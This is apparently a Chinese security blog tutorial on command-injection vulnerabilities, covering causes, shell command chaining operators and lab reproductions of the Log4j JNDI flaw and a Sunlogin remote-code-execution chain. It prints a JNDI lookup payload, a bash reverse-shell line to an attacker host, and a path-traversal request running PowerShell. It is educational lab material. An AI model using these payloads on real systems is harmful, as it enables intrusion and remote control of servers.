命令执行漏洞超详细讲解

💕💕💕 博主昵称:摆烂阳💕💕💕

🥰博主主页跳转链接
👩‍💻博主研究方向:web渗透测试 、python编程
📃 博主寄语:希望本篇文章能给大家带来帮助,有不足的地方,希望友友们给予指导

————————————————
在这里插入图片描述

一、原理

应用有时需要调用一些执行系统命令的函数,如PHP中的systemexecshell_execpassthrupopenproc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

在这里插入图片描述

二、利用条件

1、应用调用执行系统命令的函数

2、将用户输入作为系统命令的参数拼接到了命令行中

3、没有对用户输入进行过滤或过滤不严

三、漏洞分类

1、远程命令执行漏洞

概念:

远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令

2、远程代码执行漏洞

概念:

代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码

四、认识命令连接符

1、window层面

&

无论左边是false还是true,右边都执行,按顺序执行

&&:

具有短路效果,左边是false,右边不执行

|

表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行

||

A||B,表示A命令语句执行失败,然后才执行B命令语句。

2、linux层面

&

在后台运行

;:

分号(;) 可以进行多条命令的无关联执行,每一条执行结果不会影响其他命令的执行

&&

按照顺序执行,如果前面应该正确就会执行下一个,如果错误那么就不会执行下一个

||

如果 || 左边的命令执行失败(返回1表示失败),才执行||右边的命令,否则不执行右边的命令,具有短路功能。

()

如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起

五、漏洞的产生原因

1、代码层过滤不严

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system(“/bin/program --arg $arg”);

2、系统的漏洞造成命令注入

比如:bash破壳漏洞(CVE-2014-6271)

3、调用的第三方组件存在代码执行漏洞

如wordPress中用来处理图片的imageMagick组件

JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)

ThinkPHP命令执行

六、漏洞的危害

1、继承Web服务程序的权限去执行系统命令或读写文件

2、反弹shell

3、控制整个网站甚至服务器

4、进一步内网渗透

七、漏洞复现

1、log4j命令执行

1.1 开启docker服务

 Service docker start

在这里插入图片描述

1.2 拖出并开启靶场

拖出的命令:

docker pull vulfocus/log4j2-rce-2021-12-09

启动的命令:

docker run -tid -p 3456:8080 vulfocus/log4j2-rce-2021-12-09

在这里插入图片描述

1.3 关闭防火墙并访问靶场

关闭防火墙:service firewalld stop
访问靶场:ip:3456

在这里插入图片描述

1.4 将poc插入目标url栏上并进行编码

poc:

${jndi:ldap://2lnhn2.ceye.io}

1…5:设置poc

bash -i >& /dev/tcp/ip/6666 0>&1

在这里插入图片描述

1.6 生成链接

Java -jar 文件名 -C “需要输出的信息” -A “ip”

将圈中的内容复制到目标url上已经构造好的函数中并进行编码
在这里插入图片描述

在这里插入图片描述

1.7 kali开启监听

在这里插入图片描述

此时成功获取了shell

2、向日葵命令执行

1. 向日葵的版本是<=11.0.0.33版本的,

2. 打开向日葵,需要连接服务器成功

在这里插入图片描述

3. 打开之后会自动开启一个40000-60000之间随机的端口,此时使用kali的nmap进行探测

在这里插入图片描述

在这里插入图片描述

此时扫出来49408、49409、49410、49411、49413、49414、49415、49492这八个端口

4、探测向日葵的端口

在浏览器中访问目标的ip:以上端口,访问向日葵的端口时,会报出以下页面

在这里插入图片描述

此时确定端口为49492

5、获取cookie值

poc:

目标IP:端口/cgi-bin/rpc?action=verify-haras
在这里插入图片描述
成功获取cookie

6、拿到CID-添加payload和cookie-发送http://ip/check?cmd=ping…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami
在这里插入图片描述

实操成功

本章小结

本文是本人以前笔记,博主主页跳转链接如果有哪里不对的话欢迎各位大佬指出问题,本人也是初学python,希望可以和各位朋友一起学习进步。

点击跳转到博主python专栏:
如果有喜欢web安全的朋友,请在web渗透专栏中进行查看,点击跳转到博主web渗透专栏

  • 38
    点赞
  • 55
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 61
    评论
SmartBI是一种企业级的商业智能系统软件,用于数据分析和报告生成。近期,SmartBI被发现存在远程命令执行漏洞。 该漏洞的存在使得攻击者可以通过构造恶意的命令,并通过远程访问的方式执行这些命令,从而获取系统权限并进行未授权操作。这可能导致许多安全风险,包括未经授权的数据访问、敏感信息泄漏、系统瘫痪等。 远程命令执行漏洞通常是由于软件代码中的缺陷或不安全配置导致的。在SmartBI的情况下,攻击者可以通过用户输入参数中的特殊字符来注入恶意命令,由于软件没有对这些输入进行充分的验证和过滤,导致了漏洞的存在。 为了防止此类漏洞的利用,SmartBI的开发者应该加强对用户输入的验证与过滤。验证用户输入的合法性,确保输入中不包含任何潜在的恶意命令,如特殊字符、命令标识符等。此外,软件应该限制命令执行的权限,只允许执行必要的操作,并保证执行环境的安全性。 对于用户来说,应该及时更新SmartBI软件到最新版本,以获取安全补丁和修复。此外,用户在使用SmartBI时应保持警惕,避免点击不明链接、下载可疑附件,以及及时报告任何异常情况。 总之,SmartBI远程命令执行漏洞的存在给企业数据安全带来了潜在威胁。开发者需要加强软件的安全性设计和防护措施,而用户则应该保持警惕并采取合适的安全措施来最大程度地降低风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 61
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

摆烂阳

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值